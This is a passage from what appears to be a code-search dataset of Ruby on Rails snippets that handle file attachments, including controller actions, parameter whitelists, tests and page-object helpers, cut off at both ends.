do |a|\n @post_attachment = @post.post_attachments.create(:avatar => a, :post_id => @post.id)\n end\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n expire_action( news_url(nil) )\n expire_action( home_url() )\n \n params[:attachments].each do |att|\n @post.attachments.create :uploadedfile=>att\n end if params.has_key?( :attachments )\n \n flash[:notice] = 'Post was successfully created.'\n format.html { redirect_to posts_url }\n format.xml { head :created, :location => posts_url }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors.to_xml }\n end\n end\n end", "def multi_upload\n authenticate!\n attachments = []\n (attachment_params[:attachments] || []).each do |key, value|\n if value[:file]\n attachment = value[:file]\n attachment_params = {\n :filename => attachment[:filename],\n :type => attachment[:type],\n :headers => attachment[:head],\n :tempfile => attachment[:tempfile]\n }\n file = ActionDispatch::Http::UploadedFile.new(attachment_params)\n attachments << Attachment.create(file: file, user: current_user)\n end\n end\n {\n code: 0,\n data: attachments\n }\n end", "def connect_attachments(params)\n json_attachments = params['data'].try(:[], 'relationships').try(:[], 'attachments')\n return if json_attachments.blank?\n\n attachment_list = resource_list('attachment', json_attachments)\n\n attachment_list.each do |attachment|\n attachment.attachable = self\n attachment.save\n end\n end", "def add_attachments\n frm.button(:value=>\"Add Attachments\").click\n AnnouncementsAttach.new(@browser)\n end", "def create\n @travel_post_attachment = TravelPostAttachment.new(travel_post_attachment_params)\n\n respond_to do |format|\n if @travel_post_attachment.save\n format.html { redirect_to @travel_post_attachment, notice: 'Travel post attachment was successfully created.' }\n format.json { render :show, status: :created, location: @travel_post_attachment }\n else\n format.html { render :new }\n format.json { render json: @travel_post_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n permitted_params = params[:attachment]\n file = permitted_params.delete(:file)\n attr = {file: file, user: current_user}\n\n if permitted_params[:attachmentable_type].present? && permitted_params[:attachmentable_id].present?\n attachmentable_type = permitted_params[:attachmentable_type]\n attachmentable_id = permitted_params[:attachmentable_id]\n attr = attr.merge(attachmentable_type: attachmentable_type, attachmentable_id: attachmentable_id)\n end\n\n attachment = Attachment.new(attr)\n if attachment.savee\n render json:{\n code: 0,\n data: AttachmentSerializer.new(attachment)\n }\n else\n render json:{\n code: -1,\n data: {\n message: attachment.errors.full_messages,\n }\n }\n end\n\n end", "def create\n @message_attachment = MessageAttachment.new(params[:message_attachment])\n\n respond_to do |format|\n if @message_attachment.save\n format.html { redirect_to @message_attachment, notice: 'Message attachment was successfully created.' }\n format.json { render json: @message_attachment, status: :created, location: @message_attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_attachments attachments\n Attachment.add(attachments, self)\n end", "def test_issue_attachements\n log_user('jsmith', 'jsmith')\n\n post 'issues/edit/1',\n :notes => 'Some notes',\n :attachments => {'1' => {'file' => test_uploaded_file('testfile.txt', 'text/plain'), 'description' => 'This is an attachment'}}\n assert_redirected_to \"issues/show/1\"\n \n # make sure attachment was saved\n attachment = Issue.find(1).attachments.find_by_filename(\"testfile.txt\")\n assert_kind_of Attachment, attachment\n assert_equal Issue.find(1), attachment.container\n assert_equal 'This is an attachment', attachment.description\n # verify the size of the attachment stored in db\n #assert_equal file_data_1.length, attachment.filesize\n # verify that the attachment was written to disk\n assert File.exist?(attachment.diskfile)\n \n # remove the attachments\n Issue.find(1).attachments.each(&:destroy)\n assert_equal 0, Issue.find(1).attachments.length\n end", "def create\n a=JSON.parse(params.to_json)\n Attachment.create_file(params[:encoded],@current_user)\n respond_to do |format|\n format.json { render :json => success }\n format.xml { render :xml => success }\n end\n end", "def create\n @post_attachment = PostAttachment.new(post_attachment_params.merge(:post_id => @post.id))\n respond_to do |format|\n if @post.save\n unless params[:post_attachments].nil?\n params[:post_attachments]['picture'].each do |a|\n @post_attachment = @post.post_attachments.create!(:picture => a, :post_id => @post.id)\n end\n else format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :ok, location: @post }\n end\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def permitted_attachments_params\n params.permit(attachments: [])\n end", "def test_attach_file\n# post :upload, \"note\"=>{\"title\"=>\"my note\"}, \"courseid\"=>\"806350272748085520\",\n# \"processor\"=>{\"id\"=>\"1000001\"}, \"success\"=>\"/course/806350272748085520/ACMA-320/share_notes\", \n# \"upload_id\"=>\"1169944954\", \n# \"failure\"=>\"/course/806350272748085520/ACMA-320/share_notes\"\n \n post :upload, \"noteid\"=>\"816717565610925385\", \"processor\"=>{\"id\"=>\"1000001\"}\n \n end", "def attachments(*params)\n id = params[0]\n unnamed = params[1]\n if params[0].class == Hash\n params = params[0]\n id = params[:id] if params.has_key? :id\n unnamed = params[:unnamed] if params.has_key? :unnamed\n end\n unnamed = false if unnamed.to_s == \"0\"\n id = $~[1] if id =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{id}/attachments\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss the HTTP response\n resp.gsub!(/^\\n/m,\"\") # toss blank lines\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n th = response_to_h(resp)\n list = []\n pattern = /(\\d+:\\s.*?\\))(?:,|$)/\n match = pattern.match(th['attachments'].to_s)\n while match != nil\n list.push match[0]\n s = match.post_match\n match = pattern.match(s)\n end\n attachments = []\n list.each do |v|\n attachment = {}\n m=v.match(/(\\d+):\\s+(.*?)\\s+\\((.*?)\\s+\\/\\s+(.*?)\\)/)\n if m.class == MatchData\n next if m[2] == \"(Unnamed)\" and !unnamed\n attachment[:id] = m[1]\n attachment[:name] = m[2]\n attachment[:type] = m[3]\n attachment[:size] = m[4]\n attachments.push attachment\n end\n end\n attachments\n end", "def create_attachment\n @artifact_answer = ArtifactAnswer.find(params[:id])\n if params[:file]\n params[:file].each do |attachment|\n @artifact_answer.attachments.create(attachment_file: attachment, :company_id => current_company.id)\n @attachment_error = @artifact_answer.attachments.last.errors[:\"file_size_exceeds\"][0] if @artifact_answer.attachments.last.errors.present?\n end\n end\n @attachments = @artifact_answer.attachments\n end", "def call(attachments)\n Attachment.where({canvas_user_id: attachment_conf[:canvas_user_id], submission_id: attachment_conf[:submission_id]}).\n delete_all\n attachments.each do |attachment|\n Attachment.create(attachment_conf.merge({date: Time.parse(attachment['updated_at']),\n attachment_id: attachment['id'], image_url: attachment['url'], content_type: attachment['content-type']})\n )\n end\n end", "def create\n @ticket = Ticket.new(ticket_params)\n\n respond_to do |format|\n if @ticket.save\n params[:ticket_attachments]['image'].each do |i|\n @ticket_attachment = @ticket.ticket_attachments.create!(:image => i)\n end\n format.html { redirect_to @ticket, notice: 'Ticket was successfully created.' }\n format.json { render :show, status: :created, location: @ticket }\n else\n format.html { render :new }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @document.update(document_params)\n if params[:attachments]\n params[:attachments].each do |a|\n @attachment = @document.attachments.create!(:attachment => a)\n end\n end\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attachment_datum = AttachmentDatum.new(params[:attachment_datum])\n\n respond_to do |format|\n if @attachment_datum.save\n format.html { redirect_to @attachment_datum, notice: 'Attachment datum was successfully created.' }\n format.json { render json: @attachment_datum, status: :created, location: @attachment_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @file_upload_attachment = FileUploadAttachment.new(file_upload_attachment_params)\n\n respond_to do |format|\n if @file_upload_attachment.save\n format.html { redirect_to @file_upload_attachment, notice: 'File upload attachment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @file_upload_attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @file_upload_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def attachment_params\n params.require(:attachment).permit( :attachment)\n end", "def create\n @cms_attachment = Cms::Attachment.new(cms_attachment_params)\n\n respond_to do |format|\n if @cms_attachment.save\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @cms_attachment }\n else\n format.html { render :new }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event_attachment = EventAttachment.new(event_attachment_params)\n\n respond_to do |format|\n if @event_attachment.save\n format.html { redirect_to @event_attachment, notice: 'Event attachment was successfully created.' }\n format.json { render :show, status: :created, location: @event_attachment }\n else\n format.html { render :new }\n format.json { render json: @event_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_attachment!(params={})\n raise ArgumentError, \"Error: ids, data, file_name, summary, and content_type are required args\" unless check_params([:ids, :data, :file_name, :summary, :content_type], params)\n rpc_call :add_attachment, params\n end", "def create\n @applicant = Applicant.find(params[:applicant_id])\n @attachment = @applicant.attachments.build(params[:attachment])\n\n respond_to do |format|\n if @attachment.save!\n @activity = Activity.create \\\n\t :actor => current_user,\n\t :job_id => @applicant.job_id,\n\t :account_id => @applicant.account_id,\n\t :applicant_id => @applicant.id,\n :action => 'attached',\n :subject_id => @attachment.id,\n :subject_type => 'Attachment'\n \n format.html { redirect_to(applicant_path(@applicant), :notice => 'Attachment was successfully created.') }\n format.xml { render :xml => @attachment, :status => :created, :location => @attachment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @friends_attachment = FriendsAttachment.new(friends_attachment_params)\n\n respond_to do |format|\n if @friends_attachment.save\n format.html { redirect_to @friends_attachment, notice: \"Friends attachment was successfully created.\" }\n format.json { render :show, status: :created, location: @friends_attachment }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friends_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_attachments(issue, args)\n if issue.persisted?\n delete_ids = args[:delete_attachments]\n issue.attachments.in(id: delete_ids).update_all(deleted: true)\n end\n\n return if (attachments.nil? || attachments.empty?)\n\n attachments.each do |attachment|\n if attachment[:id].blank?\n new_file = issue.attachments.build\n new_file.file = attachment[:data] # <json string>\n new_file.save!\n end\n end\n end", "def create\n @attachment = Attachment.new(uploaded_data: params[:file], col_sep: params[:col_sep], quote_char: params[:quote_char], encoding: params[:encoding])\n @attachment.user = current_user\n @attachment.save!\n # TODO rescue parser errors -> rows empty\n rows = @attachment.rows(4)\n render json: {errors: @attachment.parse_error, id: @attachment.id, rows: rows}, status: :ok\n end", "def create\n @attachfile = Attachfile.new(attachfile_params)\n\n respond_to do |format|\n if @attachfile.save\n format.html { redirect_to @attachfile, notice: 'Attachfile was successfully created.' }\n format.json { render :show, status: :created, location: @attachfile }\n else\n format.html { render :new }\n format.json { render json: @attachfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #debugger\n blog = blog_params[:name]\n @user = User.find(session[:user_id])\n\n params[:image][:attached_assets_attrs].each do |item|\n ImgGroup.post item[:asset], @user, blog\n end\n\n respond_to do |format|\n format.html { render action: 'done' }\n format.json { render text: 'All posted.', status: :created, location: @image }\n end\n end", "def upload\n requires_user_can :edit, task\n\n attachment = paper_attachment.file\n paper_attachment.worker.download(\n paper,\n paper_attachment.s3_url,\n current_user\n )\n\n render json: attachment,\n status: paper_attachment.existing_file ? 200 : 201,\n root: 'attachment',\n serializer: AttachmentSerializer\n end", "def add_attachments\n frm.button(:name=>\"attach\").click\n AssignmentsAttachments.new(@browser)\n end", "def create\n @order_attachment = OrderAttachment.new(order_attachment_params)\n\n respond_to do |format|\n if @order_attachment.save\n format.html { redirect_to @order_attachment, notice: 'Order attachment was successfully created.' }\n format.json { render :show, status: :created, location: @order_attachment }\n else\n format.html { render :new }\n format.json { render json: @order_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:travel_post][:user_id] = current_user.id\n @travel_post = TravelPost.new(travel_post_params)\n\n respond_to do |format|\n if @travel_post.save\n if params[:travel_post_attachments].present?\n params[:travel_post_attachments]['s3'].each do |a|\n @travel_post_attachment = @travel_post.travel_post_attachments.create!(:s3 => a, :travel_post_id => @travel_post.id)\n end\n end\n format.html { redirect_to travel_posts_path, notice: 'Travel post was successfully created.' }\n format.json { render :show, status: :created, location: @travel_post }\n else\n format.html { render :new }\n format.json { render json: @travel_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @note_attachment = NoteAttachment.new(note_attachment_params)\n\n respond_to do |format|\n if @note_attachment.save\n format.html { redirect_to @note_attachment, notice: 'Note attachment was successfully created.' }\n format.json { render :show, status: :created, location: @note_attachment }\n else\n format.html { render :new }\n format.json { render json: @note_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if !user_signed_in?\n redirect_to login_path, :alert => \"You need to sign in or sign up before continuing.\"\n else\n @post = Post.new(post_params)\n @post.user = current_user\n respond_to do |format|\n if @post.save\n notifyTagUsers(@post)\n\n if params.has_key?(:post_attachments)\n params[:post_attachments]['avatar'].each do |a|\n @post_attachment = @post.post_attachments.create!(:avatar => a)\n end\n end\n\n format.html { redirect_to timeline_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @second = Second.new(params[:second])\n\n #add attachment\n @second.attachments << Attachment.new(:source => params[:attachment]) unless params[:attachment].blank?\n\n respond_to do |format|\n if @second.save\n format.html { redirect_to @second, notice: 'Second was successfully created.' }\n format.json { render json: @second, status: :created, location: @second }\n else\n format.html { render action: \"new\" }\n format.json { render json: @second.errors, status: :unprocessable_entity }\n end\n end\n end", "def attachment_params\n params.require(:attachment).permit(:title, :data, :mime_type, :thumbnail, :content)\n end", "def add_attachments(obj)\n if !email.attachments.nil? && email.attachments.size > 0\n email.attachments.each do |attachment|\n obj.attachments << Attachment.create(:container => obj,\n :file => attachment.decoded,\n :filename => attachment.filename,\n :author => user,\n :content_type => attachment.mime_type)\n end\n end\n end", "def create\n puts params\n item_data = {\n :title => params[:title],\n :description => params[:description]\n }\n @item = current_user.items.build(item_data)\n if params[:attachments]\n params[:attachments].each do |att_id|\n @att = Attachment.find(att_id)\n @item.attachments.push(@att)\n if @att.att_type == 'photo'\n @item.photos.build(\n photo_url: @att.url\n )\n end\n end\n end\n if @item.save\n respond_to do |format|\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create item\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end", "def add_attachments(value)\n if value.instance_of? AttachmentJson\n @attachments.push(value)\n end\n end", "def attachment_params\n params.require(:attachment).permit(:file)\n end", "def attachment_params\n params.require(:attachment).permit(:file)\n end", "def add_attachments\n frm.button(:value=>\"Add Attachments\").click\n AssignmentAttachments.new(@browser)\n end", "def create\n @channel = Channel.find_by_name(params[:channel_id])\n @attachment = Attachment.new(params[:attachment])\n\n # {\"file\"=>#<ActionDispatch::Http::UploadedFile:0x00000005bc3158 @original_filename=\"investor_faq.org\", @content_type=\"application/octet-stream\",\n # @headers=\"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"investor_faq.org\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\", @tempfile=#<File:/tmp/RackMultipart20111212-24212-4znzta>>\n # \"commit\"=>\"Upload\",\n # \"utf8\"=>\"✓\",\n # \"authenticity_token\"=>\"SrS7bnPQ76RQJLWOx58bm1uyDsQq5f4FObPLl9Zh+Ao=\",\n # \"remotipart_submitted\"=>\"true\",\n # \"X-Requested-With\"=>\"IFrame\",\n # \"X-Http-Accept\"=>\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01\",\n # \"channel_id\"=>\"Shiro\"\n # }\n\n @attachment.user = current_user\n @attachment.channel = Channel.find_by_name(params[:channel_id])\n @attachment.file = params[:file]\n\n respond_to do |format|\n if @attachment.save\n format.html { }\n format.js\n format.json { render json: @attachment, status: :created }\n else\n format.html { render action: \"new\" }\n format.js\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def add_attachments\n frm.button(:name=>\"attach\").click\n AssignmentAttachments.new(@browser)\n end", "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n if params[:project_attachments]\n params[:project_attachments].each do |a|\n # logger.debug \"New attachment: #{a}\"\n @project_attachment = @project.project_attachments.create!(attachment: a)\n end\n end\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @rent_post = RentPost.new(rent_post_params)\n # @post_attachment = @rent_post.post_attachments.build\n\n respond_to do |format|\n if @rent_post.save\n if params[:post_attachments]!=nil\n params[:post_attachments]['image'].each do |a|\n @post_attachment = @rent_post.post_attachments.create!(:image => a, :rent_post_id => @rent_post.id)\n end\n else\n @post_attachment = @rent_post.post_attachments.create!(:image => nil, :rent_post_id => @rent_post.id)\n end\n format.html { redirect_to @rent_post, notice: 'Rent post was successfully created.' }\n format.json { render :show, status: :created, location: @rent_post }\n else\n format.html { render :new }\n format.json { render json: @rent_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @documentable = find_documentable\n @document = @documentable.documents.build(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: t('.notice', document: @document) }\n format.json\n else\n format.html { render :new }\n format.json {\n render json: @document.errors[:attachment], status: :unprocessable_entity\n }\n end\n end\n end", "def create\n\n @attachments = []\n @programs_target_program = Programs::TargetedProgram.where(:id => params[:programs_attachment][:program_id]).first\n\n params['attachment'].each do |f|\n doc = Programs::Attachment.new\n doc.attachment = f\n doc.programs_target_program = @programs_target_program\n params[:programs_attachment][:title].present? ? doc.title = params[:programs_attachment][:title] : doc.title = f.original_filename\n doc.author = current_user.email\n doc.save\n @attachments << doc\n\n end unless params['attachment'].nil?\n\n respond_to do |format|\n format.js {}\n end\n\n\n end", "def create\n @publication = current_user.publications.new(publication_params)\n\n respond_to do |format|\n if @publication.save\n unless params[:publication_attachments].nil?\n params[:publication_attachments]['photo'].each do |a|\n @publication_attachment = @publication.publication_attachments.create!(:photo => a)\n end\n end\n format.html { redirect_to @publication, notice: 'Publication was successfully created.' }\n format.json { render :show, status: :created, location: @publication }\n else\n format.html { render :new }\n format.json { render json: @publication.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @boat_attachment = BoatAttachment.new(boat_attachment_params)\n\n respond_to do |format|\n if @boat_attachment.save\n format.html { redirect_to @boat_attachment, notice: 'Boat attachment was successfully posted.' }\n format.json { render :show, status: :created, location: @boat_attachment }\n else\n format.html { render :new }\n format.json { render json: @boat_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @attachments = @pad.attachments\n @attachment = @pad.attachments.new\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attachments }\n end\n end", "def attachment_params\n params.fetch(:attachment).permit(:file)\n end", "def attachment_params\n params.require(:attachment).permit(:file_id, :name)\n end", "def create\n @attachment = Attachment.new(params[:attachment])\n \n # set current user as the creator of the attachment \n @attachment.user = User.find(current_user)\n \n #from jquery upload\n @attachment.name = params[:title] if params[:title]\n \n \n if params[:assignment_id]\n @attachment.assignment = Assignment.find(params[:assignment_id])\n @attachment.course = @attachment.assignment.course\n end\n \n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render :json => [@attachment.to_jq_upload].to_json }\n else\n format.html { render action: \"new\" }\n format.json { render :json => [{:error => \"custom_failure\"}], :status => 304 }\n end\n end\n end", "def create \n return if params[:attachment].blank?\n\n @attachment = Attachment.new\n @attachment.uploaded_file = params[:attachment]\n @attachment.thumbnail = thumb(@attachment.data, 0.25) if @attachment.mime_type =~ /image/\n case \n when params[:publication_id]\n\t @attachment.publications << Publication.find(params[:publication_id])\n when params[:article_id]\n @attachment.articles << Article.find(params[:article_id])\n when params[:issue_id]\n @attachment.issues << Issue.find(params[:issue_id])\n end\n if @attachment.save\n\t flash[:notice] = \"Thank you for your submission...\"\n\t redirect_to :back\n else\n\t flash[:error] = \"There was a problem submitting your attachment.\"\n\t render :action => \"new\"\n end\n end", "def create\n @attachment = Attachment.new(attachment_params)\n if file_data.respond_to?(:read)\n @@world = file_data.read\n xml_contents = file_data.read\n elsif file_data.respond_to?(:path)\n xml_contents = File.read(file_data.path)\n else\n logger.error \"Bad file_data: #{file_data.class.name}: #{file_data.inspect}\"\n end\n\n\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to attachments_path, notice: 'Document was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @dattachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload_attachment(safebox, attachment)\n if attachment.guid.nil?\n result = @json_client.upload_file(safebox.upload_url, attachment.file_path || attachment.file, attachment.content_type, attachment.filename)\n attachment.guid = result[\"temporary_document\"][\"document_guid\"]\n end\n attachment\n end", "def create\n\n uploaded_io = params[:new_file]\n File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|\n file.write(uploaded_io.read)\n end\n\n @attachment = @pad.attachments.new(params[:attachment])\n @attachment.name = uploaded_io.original_filename;\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to(pad_attachments_path(@pad), :notice => 'Attachment was successfully created.') }\n format.xml { render :xml => @attachment, :status => :created, :location => @attachment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add_attachments_to_existing_note(note, attachments)\n attachments.each do |attach|\n logger.debug \"Adding attachment '#{attach.file_name}' to note ID #{note.id}\"\n existing_note_attachment_input(note).when_present 1\n existing_note_attachment_input(note).send_keys Utils.asset_file_path(attach.file_name)\n existing_note_attachment_delete_button(note, attach).when_present Utils.short_wait\n sleep Utils.click_wait\n note.updated_date = Time.now\n note.attachments << attach\n end\n end", "def create\n @attachment = Attachment.new(attachment_params)\n @attachment.name = @attachment.file.blob.checksum\n respond_to do |format|\n if @attachment.save\n convert_to_line\n format.html { redirect_to attachment_line_list_path(@attachment), notice: 'Attachment was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def attachments(params={})\n raise ArgumentError, \"Error: ids or attachment_ids must be set\" unless params[:ids] || params[:attachment_ids]\n rpc_call :attachments, params\n end", "def create\n @teacher_attachment = TeacherAttachment.new(teacher_attachment_params)\n\n respond_to do |format|\n if @teacher_attachment.save\n format.html { redirect_to @teacher_attachment.teacher, notice: 'Teacher attachment was successfully created.' }\n format.json { render :show, status: :created, location: @teacher_attachment }\n else\n format.html { render :new }\n format.json { render json: @teacher_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_attachments_to_new_note(note, attachments)\n show_adv_note_options\n attachments.each do |attach|\n logger.debug \"Adding attachment '#{attach.file_name}' to an unsaved note\"\n new_note_attach_input_element.send_keys Utils.asset_file_path(attach.file_name)\n new_note_attachment_delete_button(attach).when_present Utils.short_wait\n sleep Utils.click_wait\n note.attachments << attach\n end\n end", "def attachments(struct)\n struct.remapkeys!\n if struct.has_key? :user and struct.has_key? :pass\n rt = RT_Client.new(:user => struct[:user], :pass => struct[:pass])\n struct.delete(:user)\n struct.delete(:pass)\n else\n rt = RT_Client.new\n end\n rt = RT_Client.new\n val = rt.attachments(struct)\n rt = nil\n val\n end", "def attachment_upload(id, stream, options={})\n body, headers = http_multipart_data({:id => id, :stream => stream})\n post(\"wrike.attachment.upload\", body, headers)\n end", "def upload_supporting_documents\n validate_documents_content_type\n validate_documents_page_size\n\n claim = ClaimsApi::AutoEstablishedClaim.get_by_id_or_evss_id(params[:id])\n raise ::Common::Exceptions::ResourceNotFound.new(detail: 'Resource not found') unless claim\n\n ClaimsApi::Logger.log(\n '526',\n claim_id: claim.id,\n detail: \"/attachments called with #{documents.length} #{'attachment'.pluralize(documents.length)}\"\n )\n\n documents.each do |document|\n claim_document = claim.supporting_documents.build\n claim_document.set_file_data!(document, EVSS_DOCUMENT_TYPE, params[:description])\n claim_document.save!\n ClaimsApi::ClaimUploader.perform_async(claim_document.id)\n end\n\n render json: claim, serializer: ClaimsApi::ClaimDetailSerializer, uuid: claim.id\n end", "def create\n @design_image_attachment = DesignImageAttachment.new(design_image_attachment_params)\n\n respond_to do |format|\n if @design_image_attachment.save\n format.html { redirect_to @design_image_attachment, notice: 'Design image attachment was successfully created.' }\n format.json { render :show, status: :created, location: @design_image_attachment }\n else\n format.html { render :new }\n format.json { render json: @design_image_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @link_attachment = LinkAttachment.new(link_attachment_params)\n\n respond_to do |format|\n if @link_attachment.save\n format.html { redirect_to @link_attachment, notice: 'Link attachment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @link_attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @link_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attached_asset = AttachedAsset.new(params[:attached_asset])\n\n respond_to do |format|\n if @attached_asset.save\n format.html { redirect_to @attached_asset, notice: 'Attached asset was successfully created.' }\n format.json { render json: @attached_asset, status: :created, location: @attached_asset }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attached_asset.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @case = Case.new(case_params)\n\n respond_to do |format|\n if @case.save\n params[:case_attachments]['photo'].each do |a|\n @case_attachment = @case.case_attachments.create!(:photo => a, :case_id => @case.id)\n end\n format.html { redirect_to admin_cases_path, notice: \"Caso Clínico (#{@case.title}), cadastrado com sucesso!\" }\n format.json { render :show, status: :created, location: [:admin, @case] }\n else\n format.html { render :new }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_to_legacy_incoming_webhook(channel:, username:, attachments:, link_names:, icon_url:)\n @client.post(@webhook_url) do |request|\n request.headers['Content-Type'] = 'application/json'\n request.body = {\n channel: channel,\n username: username,\n icon_url: icon_url,\n attachments: attachments,\n link_names: link_names\n }.to_json\n end\n end", "def create\n @incidentattachment = Incidentattachment.new(incidentattachment_params)\n @incidentattachment.filepath = \"N/A\"\n\n respond_to do |format|\n if @incidentattachment.save\n format.html { redirect_to @incidentattachment, notice: 'Incidentattachment was successfully created.' }\n format.json { render :show, status: :created, location: @incidentattachment }\n else\n format.html { render :new }\n format.json { render json: @incidentattachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @event = Event.find(params[:event_id])\n file = {}\n\n if params[:flash]\n file[\"name\"] = params[:Filedata].original_filename\n \n extname = File.extname(params[:Filedata].original_filename)[1..-1]\n mime_type = Mime::Type.lookup_by_extension(extname)\n params[:Filedata].content_type = mime_type.to_s unless mime_type.nil?\n\n file[\"attached\"] = params[:Filedata]\n else\n file[\"name\"] = params[:attached].original_filename\n file[\"attached\"] = params[:attached]\n end\n\n file[\"event_id\"] = @event.id\n @attached = Attached.new(file)\n \n\n respond_to do |format|\n if @attached.save\n format.html { redirect_to @event, notice: 'File was successfully uploaded.' }\n format.json { render json: @attached, status: :created, location: @attached }\n else\n format.html { render action: \"edit\"}\n format.json { render json: @attached.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attachment = Attachment.new(params[:attachment])\n @attachment.save\n\n flash[:notice] = 'El archivo ha sido subido correctamente.'\n\n return redirect_to :action => :index\n end", "def post(path = '/files/', params = {})\n request :post, path, params\n end", "def add_attachments\n frm.button(:value=>/(Add|Add \\/ Remove) Attachments/).click\n AssignmentsAttachments.new(@browser)\n end", "def create\n @cms_attachment = current_portal.cms_attachments.build(cms_attachment_params)\n\n respond_to do |format|\n if @cms_attachment.save\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @cms_attachment }\n else\n format.html { render :new }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def attachment; end", "def create\n @message = Message.new(message_params)\n @message[:external_links] = params[:message][:external_links].first.split(\"\\r\\n\").map(&:strip)\n @message.images.attach(params[:message][:images])\n @message.images.attach(params[:message][:vi_images])\n @message.images.attach(params[:message][:zh_cn_images])\n @message.images.attach(params[:message][:zh_tw_images])\n @message.images.attach(params[:message][:hmn_images])\n\n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: \"Message was successfully created.\" }\n format.json { render :show, status: :created, location: @message }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def dispatch_create_item!(msg)\n if msg.has_attachments?\n draft = msg.draft\n msg.draft = true\n resp = 